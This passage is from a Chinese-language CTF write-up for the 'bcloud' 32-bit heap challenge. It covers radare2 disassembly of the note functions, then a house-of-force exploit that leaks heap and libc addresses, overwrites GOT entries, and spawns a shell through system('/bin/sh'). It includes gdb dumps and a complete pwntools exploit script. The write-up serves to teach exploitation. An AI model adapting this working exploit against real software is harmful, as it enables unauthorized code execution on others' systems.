|      |    0x08048a67      mov dword [esp + 8], 0xa
|      |    0x08048a6f      mov edx, dword [local_ch]
|      |    0x08048a72      mov dword [esp + 4], edx                    ; [esp + 4] = length
|      |    0x08048a76      mov dword [esp], eax                        ; [esp] = notes[i]
|      |    0x08048a79      call sub.read_68d                           ; read_68d(notes[i], length, 0xa) 调用函数读入 content
|      |    0x08048a7e      mov eax, dword [local_10h]
|      |    0x08048a81      mov dword [esp + 4], eax
|      |    0x08048a85      mov dword [esp], str.Create_success__the_id_is__d ; [0x8048f25:4]=0x61657243 ; "Create success, the id is %d\n"
|      |    0x08048a8c      call sym.imp.printf                        ; int printf(const char *format)
|      |    0x08048a91      mov eax, dword [local_10h]
|      |    0x08048a94      mov dword [eax*4 + 0x804b0e0], 0            ; syns[i] = 0
|      |    0x08048a9f      nop
|      |    ; JMP XREF from 0x080489f7 (sub.Input_the_length_of_the_note_content:_9ae)
|      `--> 0x08048aa0      leave
\           0x08048aa1      ret

我们可以得到下面的数据结构:

int *lengths[10];   // 0x804b0a0
int *syns[10];      // 0x804b0e0
int *notes[10];     // 0x804b120

三个数组都是通过指标 i 来对应的,分别存放 note 地址,length 及是否同步。

Edit note

[0x08048590]> pdf @ sub.Input_the_id:_ab7
/ (fcn) sub.Input_the_id:_ab7 172
|   sub.Input_the_id:_ab7 (int arg_9h);
|           ; var int local_14h @ ebp-0x14
|           ; var int local_10h @ ebp-0x10
|           ; var int local_ch @ ebp-0xc
|           ; var int local_0h @ ebp-0x0
|           ; arg int arg_9h @ ebp+0x9
|           ; CALL XREF from 0x08048d1f (main + 158)
|           0x08048ab7      push ebp
|           0x08048ab8      mov ebp, esp
|           0x08048aba      sub esp, 0x28                              ; '('
|           0x08048abd      mov dword [local_14h], 0
|           0x08048ac4      mov dword [esp], str.Input_the_id:         ; [0x8048f65:4]=0x75706e49 ; "Input the id:"
|           0x08048acb      call sym.imp.puts                          ; int puts(const char *s)
|           0x08048ad0      call sub.atoi_709                          ; int atoi(const char *str)
|           0x08048ad5      mov dword [local_14h], eax                  ; 读入 i
|           0x08048ad8      cmp dword [local_14h], 0
|       ,=< 0x08048adc      js 0x8048ae4
|       |   0x08048ade      cmp dword [local_14h], 9                   ; [0x9:4]=-1 ; 9
|      ,==< 0x08048ae2      jle 0x8048af2
|      ||   ; JMP XREF from 0x08048adc (sub.Input_the_id:_ab7)
|      |`-> 0x08048ae4      mov dword [esp], str.Invalid_ID.           ; [0x8048f73:4]=0x61766e49 ; "Invalid ID."
|      |    0x08048aeb      call sym.imp.puts                          ; int puts(const char *s)
|      |,=< 0x08048af0      jmp 0x8048b61
|      ||   ; JMP XREF from 0x08048ae2 (sub.Input_the_id:_ab7)
|      ||   ; JMP XREF from 0x08048b00 (sub.Input_the_id:_ab7)
|      `--> 0x08048af2      mov eax, dword [local_14h]                  ; 0 <= i <= 9 时,继续
|       |   0x08048af5      mov eax, dword [eax*4 + 0x804b120]          ; 取出 notes[i]
|       |   0x08048afc      mov dword [local_10h], eax                  ; 将 notes[i] 放到 [local_10h]
|       |   0x08048aff      cmp dword [local_10h], 0
|      ,==< 0x08048b03      jne 0x8048b13                               ; notes[i] 不为 0 时跳转
|      ||   0x08048b05      mov dword [esp], str.Note_has_been_deleted. ; [0x8048f7f:4]=0x65746f4e ; "Note has been deleted."
|      ||   0x08048b0c      call sym.imp.puts                          ; int puts(const char *s)
|     ,===< 0x08048b11      jmp 0x8048b61
|     |`--> 0x08048b13      mov eax, dword [local_14h]
|     | |   0x08048b16      mov eax, dword [eax*4 + 0x804b0a0]          ; 取出 lengths[i]
|     | |   0x08048b1d      mov dword [local_ch], eax                   ; 将 lengths[i] 放到 [local_ch]
|     | |   0x08048b20      mov eax, dword [local_14h]
|     | |   0x08048b23      mov dword [eax*4 + 0x804b0e0], 0            ; 将 syns[i] 赋值为 0
|     | |   0x08048b2e      mov dword [esp], str.Input_the_new_content: ; [0x8048f96:4]=0x75706e49 ; "Input the new content:"
|     | |   0x08048b35      call sym.imp.puts                          ; int puts(const char *s)
|     | |   0x08048b3a      mov dword [esp + 8], 0xa
|     | |   0x08048b42      mov eax, dword [local_ch]
|     | |   0x08048b45      mov dword [esp + 4], eax
|     | |   0x08048b49      mov eax, dword [local_10h]
|     | |   0x08048b4c      mov dword [esp], eax
|     | |   0x08048b4f      call sub.read_68d                           ; read_68d(notes[i], lengths[i], 0xa) 读入新 content 到原位置,长度不变
|     | |   0x08048b54      mov dword [esp], str.Edit_success.         ; [0x8048fad:4]=0x74696445 ; "Edit success."
|     | |   0x08048b5b      call sym.imp.puts                          ; int puts(const char *s)
|     | |   0x08048b60      nop
|     | |   ; JMP XREF from 0x08048af0 (sub.Input_the_id:_ab7)
|     | |   ; JMP XREF from 0x08048b11 (sub.Input_the_id:_ab7)
|     `-`-> 0x08048b61      leave
\           0x08048b62      ret

该函数在修改 note 时,先将 syns[i] 清空,然后读入 lengths[i] 长度的内容到 notes[i]。

Delete note

[0x08048590]> pdf @ sub.Input_the_id:_b63
/ (fcn) sub.Input_the_id:_b63 146
|   sub.Input_the_id:_b63 (int arg_9h);
|           ; var int local_10h @ ebp-0x10
|           ; var int local_ch @ ebp-0xc
|           ; var int local_0h @ ebp-0x0
|           ; arg int arg_9h @ ebp+0x9
|           ; CALL XREF from 0x08048d26 (main + 165)
|           0x08048b63      push ebp
|           0x08048b64      mov ebp, esp
|           0x08048b66      sub esp, 0x28                              ; '('
|           0x08048b69      mov dword [local_10h], 0
|           0x08048b70      mov dword [esp], str.Input_the_id:         ; [0x8048f65:4]=0x75706e49 ; "Input the id:"
|           0x08048b77      call sym.imp.puts                          ; int puts(const char *s)
|           0x08048b7c      call sub.atoi_709                          ; int atoi(const char *str)
|           0x08048b81      mov dword [local_10h], eax
|           0x08048b84      cmp dword [local_10h], 0
|       ,=< 0x08048b88      js 0x8048b90
|       |   0x08048b8a      cmp dword [local_10h], 9                   ; [0x9:4]=-1 ; 9
|      ,==< 0x08048b8e      jle 0x8048b9e
|      ||   ; JMP XREF from 0x08048b88 (sub.Input_the_id:_b63)
|      |`-> 0x08048b90      mov dword [esp], str.Invalid_ID.           ; [0x8048f73:4]=0x61766e49 ; "Invalid ID."
|      |    0x08048b97      call sym.imp.puts                          ; int puts(const char *s)
|      |,=< 0x08048b9c      jmp 0x8048bf3
|      ||   ; JMP XREF from 0x08048b8e (sub.Input_the_id:_b63)
|      `--> 0x08048b9e      mov eax, dword [local_10h]                  ; 0 <= i <= 9 时,继续
|       |   0x08048ba1      mov eax, dword [eax*4 + 0x804b120]          ; 取出 notes[i]
|       |   0x08048ba8      mov dword [local_ch], eax                   ; 将 notes[i] 放到 [local_ch]
|       |   0x08048bab      cmp dword [local_ch], 0
|      ,==< 0x08048baf      jne 0x8048bbf                               ; notes[i] 不为 0 时跳转
|      ||   0x08048bb1      mov dword [esp], str.Note_has_been_deleted. ; [0x8048f7f:4]=0x65746f4e ; "Note has been deleted."
|      ||   0x08048bb8      call sym.imp.puts                          ; int puts(const char *s)
|     ,===< 0x08048bbd      jmp 0x8048bf3
|     |||   ; JMP XREF from 0x08048baf (sub.Input_the_id:_b63)
|     |`--> 0x08048bbf      mov eax, dword [local_10h]
|     | |   0x08048bc2      mov dword [eax*4 + 0x804b120], 0            ; 将 notes[i] 置 0
|     | |   0x08048bcd      mov eax, dword [local_10h]
|     | |   0x08048bd0      mov dword [eax*4 + 0x804b0a0], 0            ; 将 lengths[i] 置 0
|     | |   0x08048bdb      mov eax, dword [local_ch]
|     | |   0x08048bde      mov dword [esp], eax
|     | |   0x08048be1      call sym.imp.free                           ; free([local_ch]),释放 note
|     | |   0x08048be6      mov dword [esp], str.Delete_success.       ; [0x8048fbb:4]=0x656c6544 ; "Delete success."
|     | |   0x08048bed      call sym.imp.puts                          ; int puts(const char *s)
|     | |   0x08048bf2      nop
|     | |   ; JMP XREF from 0x08048b9c (sub.Input_the_id:_b63)
|     | |   ; JMP XREF from 0x08048bbd (sub.Input_the_id:_b63)
|     `-`-> 0x08048bf3      leave
\           0x08048bf4      ret

该函数首先判断 notes[i] 是否存在,如果存在则释放 notes[i] 并将 notes[i] 和 lengths[i] 都置 0。不存在悬指针等漏洞。

至于 Syn 功能,就是将 syns[i] 都置 1,对漏洞利用没有影响。

漏洞利用

所以这题的利用思路就是 house-of-force,步骤如下:

  • 泄漏 heap 地址

  • 利用溢出修改 top chunk 的 size

  • 分配一个 chunk,将 top chunk 转移到 lengths 数组前面

  • 再次分配 chunk,即可覆盖 notes,并利用 Edit 修改其内容

  • 修改 free@got.plt 为 puts@got.plt,泄漏 libc

  • 修改 atoi@got.plt 为 system@got.plt,得到 shell

leak heap

def leak_heap():
    global leak

    io.sendafter("name:\n", "A" * 0x40)
    leak = u32(io.recvuntil('! Welcome', drop=True)[-4:])
    log.info("leak heap address: 0x%x" % leak)
gdb-peda$ x/17wx 0xffffb834
0xffffb834:	0x41414141	0x41414141	0x41414141	0x41414141  <-- stack
0xffffb844:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffb854:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffb864:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffb874:	0x0804c008                                      <-- pointer
gdb-peda$ x/19wx 0x0804c008-0x8
0x804c000:	0x00000000	0x00000049	0x41414141	0x41414141  <-- heap
0x804c010:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c020:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c030:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c040:	0x41414141	0x41414141	0x0804c008              <-- pointer

可以看到对指针被复制到了堆中,只要将其打印出来即可。

house-of-force

def house_of_force():
    io.sendafter("Org:\n", "A" * 0x40)
    io.sendlineafter("Host:\n", p32(0xffffffff))    # overflow

    new((bss_addr - 0x8) - (leak + 0xd0) - 0x8 - 4, 'AAAA') # 0xd0 = top chunk - leak

    payload  = "A" * 0x80
    payload += p32(elf.got['free'])         # notes[0]
    payload += p32(elf.got['atoi']) * 2     # notes[1], notes[2]
    new(0x8c, payload)

接下来是 house-of-force,通过溢出修改 top chunk 的 size,可以在下次 malloc 时将 top chunk 转移到任意地址,之后的 chunk 也将依据转移后的 top chunk 来分配。

溢出:

gdb-peda$ x/22wx 0x804c098-0x8
0x804c090:	0x00000000	0x00000049	0x41414141	0x41414141
0x804c0a0:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c0b0:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c0c0:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c0d0:	0x41414141	0x41414141	0x0804c098	0xffffffff  <-- top chunk size
0x804c0e0:	0x00000000	0x00000000

转移 top chunk:

gdb-peda$ x/22wx 0x804c098-0x8
0x804c090:	0x00000000	0x00000049	0x41414141	0x41414141
0x804c0a0:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c0b0:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c0c0:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c0d0:	0x41414141	0x41414141	0x0804c098	0xffffefc1  <-- notes[0] chunk
0x804c0e0:	0x00000000	0x00000000
gdb-peda$ p 0x804c0d8 + 0xffffefc0
$1 = 0x804b098
gdb-peda$ x/40wx 0x804b098
0x804b098:	0x00000000	0x00001039	0xffffefb4	0x00000000  <-- top chunk
0x804b0a8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0b8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0c8:	0x0804c098	0x0804c008	0x00000000	0x00000000
0x804b0d8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0e8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0f8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b108:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b118:	0x00000000	0x00000000	0x0804c0e0	0x00000000  <-- notes[0]
0x804b128:	0x00000000	0x00000000	0x00000000	0x00000000

再次 malloc,将其后的 .bss 段变为可写,然后放上 GOT 表指针:

gdb-peda$ x/40wx 0x0804b0a0-0x8
0x804b098:	0x00000000	0x00000099	0x41414141	0x41414141  <-- chunk
0x804b0a8:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b0b8:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b0c8:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b0d8:	0x41414141	0x41414141	0x41414141	0x00000000
0x804b0e8:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b0f8:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b108:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b118:	0x41414141	0x41414141	0x0804b014	0x0804b03c  <-- notes[0], notes[1]
0x804b128:	0x0804b03c	0x00000000	0x00000000	0x00000fa1  <-- notes[2]    <-- top chunk

leak libc

def leak_libc():
    global system_addr

    edit(0, p32(elf.plt['puts']))   # free@got.plt -> puts@plt

    delete(1)                       # puts(atoi_addr)
    io.recvuntil("id:\n")
    leak_atoi_addr = u32(io.recvn(4))
    libc_base = leak_atoi_addr - libc.symbols['atoi']
    system_addr = libc_base + libc.symbols['system']

    log.info("leak atoi address: 0x%x" % leak_atoi_addr)
    log.info("libc base: 0x%x" % libc_base)
    log.info("system address: 0x%x" % system_addr)

接下来就可以利用 Edit 功能修改 GOT 表,泄漏 libc 地址了。

pwn

def pwn():
    edit(2, p32(system_addr))       # atoi@got.plt -> system@got.plt
    io.sendline("/bin/sh\x00")

    io.interactive()

开启 ASLR,Bingo!!!

$ python exp.py
[+] Starting local process './bcloud': pid 6696
[*] leak heap address: 0x9181008
[*] leak atoi address: 0xf756b860
[*] libc base: 0xf753a000
[*] system address: 0xf757a190
[*] Switching to interactive mode
$ whoami
firmy

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./bcloud'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('bcloud')
libc = ELF('libc-2.19.so')

bss_addr  = 0x0804b0a0

def new(length, content):
    io.sendlineafter("option--->>\n", '1')
    io.sendlineafter("content:\n", str(length))
    io.sendlineafter("content:\n", content)

def edit(idx, content):
    io.sendlineafter("option--->>\n", '3')
    io.sendline(str(idx))
    io.sendline(content)

def delete(idx):
    io.sendlineafter("option--->>\n", '4')
    io.sendlineafter("id:\n", str(idx))

def leak_heap():
    global leak

    io.sendafter("name:\n", "A" * 0x40)
    leak = u32(io.recvuntil('! Welcome', drop=True)[-4:])
    log.info("leak heap address: 0x%x" % leak)

def house_of_force():
    io.sendafter("Org:\n", "A" * 0x40)
    io.sendlineafter("Host:\n", p32(0xffffffff))    # overflow

    new((bss_addr - 0x8) - (leak + 0xd0) - 0x8 - 4, 'AAAA') # 0xd0 = top chunk - leak

    payload  = "A" * 0x80
    payload += p32(elf.got['free'])         # notes[0]
    payload += p32(elf.got['atoi']) * 2     # notes[1], notes[2]
    new(0x8c, payload)

def leak_libc():
    global system_addr

    edit(0, p32(elf.plt['puts']))   # free@got.plt -> puts@plt

    delete(1)                       # puts(atoi_addr)
    io.recvuntil("id:\n")
    leak_atoi_addr = u32(io.recvn(4))
    libc_base = leak_atoi_addr - libc.symbols['atoi']
    system_addr = libc_base + libc.symbols['system']

    log.info("leak atoi address: 0x%x" % leak_atoi_addr)
    log.info("libc base: 0x%x" % libc_base)
    log.info("system address: 0x%x" % system_addr)

def pwn():
    edit(2, p32(system_addr))       # atoi@got.plt -> system@got.plt
    io.sendline("/bin/sh\x00")

    io.interactive()

if __name__ == '__main__':
    leak_heap()
    house_of_force()
    leak_libc()
    pwn()

参考资料

https://ctftime.org/task/2165
下载文件
题目复现
题目解析
漏洞利用
参考资料